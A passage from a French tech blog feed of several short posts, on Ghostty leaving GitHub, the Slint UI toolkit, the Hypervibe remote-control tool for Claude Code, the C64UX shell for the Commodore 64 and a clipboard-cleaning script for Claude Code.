Quand votre infra ne tient plus la charge et que vos services principaux tombent quasi quotidiennement, vendre du cloud computing devient trèèèès compliqué. Alors pour un projet open source qui dépend des Actions pour ses tests automatiques, des PRs pour les contributions extérieures, ou des Issues pour son support... 2 heures de blocage par jour, c'est franchement énorme et ça casse bien les couilles.
C'est l'équivalent d'un quart de la journée de travail balayé et sur un trimestre, ça commence à coûter super cher en énergie mentale...
Maintenant, Hashimoto souhaite quand même conserver ses projets personnels sur GitHub. Seul Ghostty migre, donc ce n'est pas non plus un boycott idéologique de Microsoft, ni une croisade contre la centralisation. C'est surtout une décision pragmatique pour un projet collectif qui doit fonctionner H24.
Un dépôt perso peut se permettre une heure de downtime sans drama. Je le précise pour éviter de transformer le sujet en guerre culturelle prêt à penser. C'est plus un divorce avec négociation qu'une révolution sanguinaire.
Après y'a des alternatives... De leur côté, Codeberg et Forgejo tournent super bien sans oublier GitLab pour ceux qui préfèrent du commercial all-in-one, ou tout simplement Gitea ou Forgejo en version auto-hébergée pour ceux qui veulent vraiment garder la main.
L'auto-hébergement n'a jamais été aussi accessible . Un VPS Linux à 5 balles par mois, un Forgejo en Docker compose, un fournisseur de CI externe ou des runners locaux... et vous avez une forge équivalente à un GitHub des années 2015. Le hic, c'est surtout l'effet réseau car un mainteneur peut migrer son repo, mais comment ramener ses contributeurs qui ont toutes leurs notifs, leurs follows, leur réputation accumulée sur GitHub ?
C'est pas si simple...
Car c'est là que ça coince vraiment. En fait, le verrou n'est pas technique, il est social, et c'est pas demain matin qu'on le fera sauter. Ghostty peut se permettre de quitter GitHub précisément parce que le projet a atteint la masse critique où les contributeurs viennent même quand on déménage mais la plupart des projets open source n'ont pas ce luxe.
Pour eux, partir de GitHub c'est risquer de perdre 90 pourcent de leur visibilité du jour au lendemain. Et sans visibilité, pas de contributeurs et pas de PRs... du coup le projet se plante avant même de démarrer. C'est dommage !
Notez quand même que Forgejo travaille d'ailleurs activement sur la fédération via ActivityPub , et à terme, ça pourrait permettre une vraie décentralisation des forges sur le modèle de Mastodon. Mais à condition que l'écosystème suive...
Maintenant, pour les mainteneurs qui se reconnaissent dans la frustration de Hashimoto, le moment est plutôt favorable, je trouve, pour aller tester Codeberg sur un projet secondaire avant de peut-être déménager votre projet principal.
Tout ça est faisable en un week-end ou deux. Certes, il y a un petit coût à cette migration, mais disons que c'est un investissement pour la sérénité de demain.
Bref, un gros big up à Hashimoto pour son courage !

Vous avez déjà voulu créer une appli desktop qui tourne sur Linux, Mac et Windows en même temps ? En Rust, c'était un peu compliqué jusqu'ici. Heureusement, Slint , créé par la société allemande SixtyFPS GmbH, propose une solution sympa !
L'idée, c'est de décrire votre interface dans des petits fichiers .slint (un genre de mini HTML/CSS pour appli native), et de brancher ça à du Rust, du C++, du JavaScript ou du Python. Comme ça, vous codez le visuel d'un côté, la logique de l'autre.
Et ce qui est encore plus cool c'est que leur runtime tient dans 300 KiB de RAM. A titre de comparaison, une appli Electron type Discord en bouffe plusieurs centaines de mégaoctets. Slint tourne donc aussi bien sur un Raspberry Pi, un microcontrôleur STM32, ou directement dans un navigateur via WebAssembly.
Par exemple, SK Signet, un fabricant sud-coréen leader sur le marché américain des bornes de recharge électrique, anime ses écrans tactiles 15 à 32 pouces avec. OTIV fait tourner ses trains autonomes dessus. WesAudio l'utilise également pour son plugin audio pro.
Donc c'est du sérieux et si vous voulez tester sans rien installer, direction
SlintPad
. Vous tapez du code, et le rendu apparaît dans le navigateur. Ensuite pour débuter un projet Slint en local, faudra faire un cargo install slint-lsp puis utiliser le template slint-rust-template dispo sur GitHub. 2 minutes de compilation plus tard et hop, vous avez votre première fenêtre.
Côté tarif, Slint est gratuit pour les projets open source et gratuit aussi pour les applis desktop, mobile ou web même propriétaires. Seul l'embarqué propriétaire est payant. Donc pour la majorité des gens, c'est gratos.
Le revers de la médaille c'est qu'il faudra apprendre un nouveau langage de description, et la bibliothèque de boutons et menus prêts à l'emploi est moins fournie qu'un Qt qui a 30 ans d'avance derrière lui. Mais ça vaut le coup d'essayer puis vu que tout le monde vibe code de toute façon, ça ne devrait pas vous poser trop de soucis.
Voilà, si vous bricolez vos propres outils sur Raspberry Pi ou que vous voulez juste une appli desktop ultra-légère sans embarquer un navigateur entier avec, c'est à regarder.
Merci Chrltc pour le lien !
Source : github.com/slint-ui/slint

Vous savez cette télécommande Apple TV de première génération qui traîne dans un tiroir et dont vous ne faites rien ?
Bah y'a enfin un truc à faire avec ! Jinsoo An, alias machinarii sur GitHub, vient de sortir Hypervibe , un outil macOS qui transforme la télécommande de l'Apple TV en walkie-talkie comme disent les québecois, pour Claude Code.
Push-to-talk, swipes pour les commandes slash, boutons remappables, le tout pour coder à une seule main pendant que vous mangez vos chips au vinaigre de hipsters de l'autre.
Le principe est simple : vous tenez la télécommande comme un talkie, vous appuyez sur le bouton Siri pour parler à Claude Code (dictation Claude doit être activée préalablement), puis Play/Pause envoie le prompt, Menu fait Échap, et TV envoie un Ctrl+C pour annuler.
Et les swipes du touchpad sont mappés sur les commandes slash de Claude : swipe up pour /usage, swipe down pour /compact, swipe left pour /model, swipe right pour basculer en mode plan/auto-accept. Et comme vous pouvez vous en douter, ous les mappings sont modifiables à la volée via la barre de menu, et sauvegardés dans UserDefaults.
Hypervibe est en V0.1 expérimental, et y'a pas de binaire pré-compilé, donc vous devrez le compiler depuis les sources.
Notez quand même (parce qu'il faut rendre à César ce qui appartient à César) que Hypervibe est un fork de Remotastic de Lauschue, qui a posé les fondations du HID Siri Remote et du menu bar. Hypervibe ajoute en plus le push-to-talk, les swipes mappables sur les commandes Claude Code, et pas mal de petites subtilités pour que ça fonctionne au poil !. Côté licence c'est MIT, donc vous pouvez forker à votre tour si vous voulez ajouter votre propre layout.
Et voilà comme une télécommande à 3 balles en vente sur LeBonCoin devient un périphérique d'entrée pour Claude Code avec voix et gestures intégrés, pendant que des startups de dropshipping nous vendent des claviers "AI-native" à 300 €.
La bidouille plus fort que la douille !!

Je viens de tomber sur un projet qui va vous renvoyer direct dans les années 80 !! Ça vous dirait que votre vieux Commodore 64 puisse balancer un prompt façon Unix, avec login, éditeur de texte et 30 commandes ? Hé bien c'est exactement ce que propose C64UX , codé en assembleur pur, sans patch ROM ni rien.
L'auteur, Anthony Scarola a sorti sa dernière version en février 2026, avec une bannière de démarrage qui balance fièrement des [ OK ] à chaque étape de la séquence de boot, exactement comme un vrai système Linux un peu trop fier de lui !
En gros sur votre
Commodore 64
, vous bootez normalement sous BASIC puis vous lancez le programme c64ux.prg (un simple LOAD et RUN), vous tapez votre username et votre mot de passe, et hop, vous atterrissez dans un shell qui propose 30 commandes :
LS, CAT, NANO, RM, CP, MV, SAVE, LOAD, THEME, UPTIME, DRIVE, STAT, WRITE, ECHO, SAVEREU, LOADREU, WIPEREU, PASSWD, MEM, DATE, TIME, PWD, RESET, UNAME, VERSION, WHOAMI, CLEAR, DOS, EXIT et HELP.
Et la commande EXIT vous ramène à BASIC.
La config initiale de C64UX : création du compte, date et heure, avant de tomber sur le prompt
Sous le capot de C64UX, c'est de l'assembleur 6502 brut de décoffrage. Et surtout, le projet n'utilise que les routines standard du C64, sans aucune ROM modifiée, ni aucune cartouche spéciale. Du coup ça tourne aussi bien sur un vrai C64 d'époque que sur un Ultimate 64 moderne ou dans l' émulateur VICE .
Mais le vrai morceau de bravoure dans ce projet c'est la persistence REU. Car votre shell avec ses fichiers, vous pouvez le dumper dans l'extension mémoire de l'époque via SAVEREU puis tout restaurer après coup avec LOADREU. Très pratique pour ne pas perdre vos précieux textes à chaque reset ! Par contre, sans extension REU branchée, tout s'efface au redémarrage, faudra donc penser à taper la commande SAVE à la main pour écrire sur disquette.
La sortie de la commande HELP, avec la liste des commandes disponibles
L'éditeur baptisé NANO (inspiré du vrai mais en mode super minimaliste) fait bien le taf aussi. Et les themes changent la couleur de bordure, le fond et le texte d'un coup, entre NORMAL (le bleu royal classique), DARK, ou GREEN pour se la jouer Matrix.
Création d'un fichier avec WRITE, lecture avec CAT, puis STAT et LS pour voir les métadonnées
Sur le forum Lemon64, Scarola balance une nouvelle version à peu près toutes les semaines et reconnaît lui-même être un petit nouveau en assembleur. Mais gros respect pour avoir déjà sorti 10 releases en un peu plus d'un mois quand même ! Notez que comme tout bon développeur qui sait vivre avec son temps (#troll), il s'aide d'un peu d'IA (Claude Code en l'occurrence) pour l'écriture du code.
Voilà, si vous avez un Commodore 64 qui traîne ou juste un émulateur VICE sous la main, foncez tester, c'est sympa !

Ah, le presse-papiers et Claude Code... Quelle misère !!! Si vous utilisez l'assistant d'Anthropic dans le terminal, vous connaissez la douleur. Vous copiez 3 lignes pour les coller ailleurs et vous vous retrouvez avec des │ partout, des marges de deux espaces, et des sauts de ligne au milieu des phrases. Un vrai bordel !
Un développeur norvégien, Anders Myrmel, en avait déjà ras-le-bol lui aussi. Du coup il a pondu
claude-copy
, un script
Hammerspoon
qui intercepte votre Cmd+C quand vous êtes dans un terminal, laisse la copie native s'exécuter, puis nettoie le presse-papiers après coup.
Côté prérequis, il vous faut donc macOS avec Homebrew installé. L'installation ensuite c'est 3 commandes :
git clone https://github.com/andersmyrmel/claude-copy
cd claude-copy
./install.sh
Le script installe alors Hammerspoon via Homebrew si vous ne l'avez pas déjà et ajoute une ligne dans ~/.hammerspoon/init.lua. Au premier lancement, macOS demande ensuite l'accès Accessibility à Hammerspoon, donc donnez-le puis rechargez la config. C'est testé sur Ghostty, mais ça devrait également fonctionner avec iTerm2, Alacritty, kitty, WezTerm, Warp et une poignée d'autres terminaux.
Le truc cool, c'est comment ça décide quoi nettoyer. Le code Lua classe chaque copie en 3 niveaux de confiance :
│ partout ? Hop, strip des marges, box-drawing virées, lignes molles rejointes en paragraphes !Alors pourquoi Anthropic a livré un TUI qui pourrit votre clipboard à la moindre copie structurée ? Hé bien on n'en sait rien mais c'est un vrai souci. Y'a d'ailleurs plusieurs issues ouvertes sur le sujets qui se référencent les unes les autres comme doublons (genre la #4686 et la #5097 ) donc qui s'annulent... Tu parles d'un bordel...
Après claude-copy n'est pas tout seul dans son coin. Y'a aussi Clean-Clode (dont claude-copy s'inspire d'ailleurs) qui fait pareil en version web, et un autre claude-copy signé clementrog pour Kitty et iTerm2.
C'est évidemment macOS only, parce que Hammerspoon est macOS only. Si vous êtes sous Linux ou Windows, ou que vous préférez éviter d'installer Hammerspoon, Clean-Clode fait le même boulot dans votre navigateur et rien ne quitte votre bécane.
Bref, si vous passez vos journées à copier-coller du Claude Code, ça vaut peut-être le coup. Donc en attendant qu'Anthropic se sorte les doigts et décide de nettoyer leur sortie à la source, je trouve ce genre de petit hack bien pratique !
